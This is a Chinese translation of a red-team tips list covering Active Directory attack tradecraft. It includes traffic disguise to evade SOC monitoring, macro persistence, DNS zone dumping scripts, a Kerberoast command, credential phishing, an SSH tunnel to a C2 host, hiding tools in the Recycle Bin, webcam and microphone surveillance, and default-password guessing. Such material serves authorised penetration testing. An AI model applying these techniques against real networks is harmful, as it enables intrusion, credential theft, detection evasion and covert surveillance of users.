RedTeam 技巧集合

翻譯作者:myh0st(原文三百多個 Tips,翻譯了二十多個,實在太多了,歡迎大家前往原博查看,感謝作者的辛苦總結,每一條 Tips 都是經驗的積累) 原文作者:vincentyiu 參考鏈接:https://vincentyiu.co.uk/red-team-tips/

1、利用目標用戶使用的 user agent 來隱藏自身的惡意流量,比如像 Outlook 軟件的 UA。

2、如果目標環境存在收集日誌、分析日誌的 SOC 平臺,我們可以在 cookie 和 Post 數據包中隱藏流量。

3、在我們失去目標之後,可以通過 AD 域的鏡像中導出未來攻擊中可用的數據。

4、可以在 VDI 環境中使用 Office 模板宏替換 Normal.dot 來實現持久性控制。

5、針對目標可以使用:intranet、SharePoint、wiki、nessus、cyberark 等關鍵詞進行 dns 查找來擴大攻擊面。

6、將 DNS zone 中的數據保存下來,如果 DNS 服務器存在 DNS 域傳送漏洞可以遠程保存 DNS zone 中的所有記錄,如果不存在,則可以在 DNS 服務器上將 DNS 記錄保存下來。

windows server 2012 中提供了 DnsServer 的模塊,PowerShell V3 中可以使用下面的命令:

Get-DnsServerZone 獲取所有區域,相當於 dnscmd /EnumZones

Get-DnsServerResourceRecord 獲取指定區域中的 DNS 記錄,相當於 dnscmd /EnumRecords

可以使用下面的腳本來獲取所有區域中的所有記錄:

$Zones=@(Get-DnsServerZone)

ForEach($Zonein$Zones)
{
   Write-Host"`n$Zone.ZoneName" -ForegroundColor "Yellow"
   $Zone|Get-DnsServerResourceRecord
}

windows server 2012 中爲每一個 zone 保留一個實際的 zone 文件,直接拷貝 zone 文件也行。

如果使用的是 windows server 2008 R2,我們可以使用下面的腳本獲取所有 dns 記錄並保存到文件中:

$zones=@(`
   dnscmd/enumzones|`
   select-string -pattern "\b(?i)((?=[a-z0-9-]{1,63}\.)(xn--)?[a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,63}\b" | %{$_.Matches} | %{$_.Value};
);

ForEach ($domain in $zones){
   $backup="dnscmd . /zoneExport $domain $domain";
   Invoke-Expression $backup | Out-Null
   Write-Host"Backing up $domain" -ForegroundColor "White"
};

ForEach($item in (gci C:\Windows\System32\dns)){
   Write-Host "Renaming $item" -ForegroundColor "White"
Rename-item $item.fullname([string]$item + ".dns")
}

Write-Host "Back up complete." -ForegroundColor "Cyan"
cmd/c pause|out-null

如果使用的是老版的 powershell 可以使用 WMI 來獲取,命令如下:

Get-WmiObject -Namespace Root\MicrosoftDNS-Query" SELECT * FROM MicrosoftDNS_AType WHERE ContainerName='domain.com'"

也可以使用 DnsShell 獲取,下載地址:

https://codeplexarchive.blob.core.windows.net/archive/projects/DnsShell/DnsShell.zip

獲得所有 A 記錄的命令如下:

Get-DnsRecord -Record Type A -ZoneName FQDN -ServerServerName

將獲得的結果轉爲文本文件的命令如下:

Get-DnsRecord -Record Type A -ZoneName FQDN -ServerServerName| % {Add-Content -Value $_ -Path filename.txt}

7、在橫向移動中可以使用 psexec、wmi、powershell 的遠程命令執行以及 RDP 遠程桌面管理。

8、能夠追蹤你的手段包括:emails、中轉服務器、執行的 payload。

9、在使用 PowerUp 進行權限提升無效的情況下可以考慮使用自啓動的方式(修改自啓動註冊表或者將程序防止在 startup 目錄下)提權。

10、在使用 BloodHound 時不要忘了使用等價於管理員或者服務器操作員的域賬號。

BloodHound 可以將域中的信息進行圖形化展示,方便審計域中的安全問題,項目地址:

https://github.com/BloodHoundAD/BloodHound

11、在一個成熟的網絡環境內,舊的網絡拓撲圖和 AD OU 可以爲我們後續的滲透提供幫助。

AD = 活動目錄,OU = 組織架構

12、Kerberoast 的 hash 可以幫助我們快速獲得域管理權限,使用 PowerView 獲取 hash 的命令如下:

Invoke-Kerberoast -Format Hashcat

13、在橫向移動中,抓取本地管理員的 hash 至關重要,通常情況下服務器主機的初始密碼都一樣。

14、針對不同的出口設置不同的通道,即使一條通道被封,其他的通道也可以正常使用,不影響對目標的控制。

15、你可以通過釣魚釣取沒有二次認證的 citrix、vpn、email 等登錄憑證。

16、可以使用 MailSniper、LyncSniper 來獲取域憑證。

MailSniper 可以用來搜索 exchange 中有關密碼、內部機密、網絡架構圖等敏感信息,項目地址:

https://github.com/dafthack/MailSniper

LyncSniper 可以自動在域中尋找可用的域憑證,項目地址:

https://github.com/mdsecresearch/LyncSniper

17、如果企業的 exchange 服務器可以被遠程訪問,可以使用 ruler 工具與其交互,作爲進入企業內網的後門,工具地址:

https://github.com/sensepost/ruler

18、在客戶環境 MailSniper 不能用的情況下,可以使用 burp suite 來實現同樣的效果。

19、獲取當前電腦所在的域:

echo %LOGONSERVER%

獲取本地環境的所有域列表:

nltest /dclist

nslookup -q=srv _kerberos._tc

20、使用 SSH 將本地的 80 端口映射到遠程,需要將 ssh 配置 GatewayPorts 爲 yes:

ssh c2 -R *:80:localhost:80

21、可以把自己的工具隱藏到回收站目錄,也就是 C:\$Recycle.Bin下。

22、可以使用 VPN 、麥克風和網絡攝像頭對用戶進行監控。

23、可以使用 netstat 和 tasklist 查看用戶的操作以及運行的軟件。

24、 在做橫向移動的時候,可以使用類似於 Welcome1、Password1 這樣的密碼進行嘗試。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章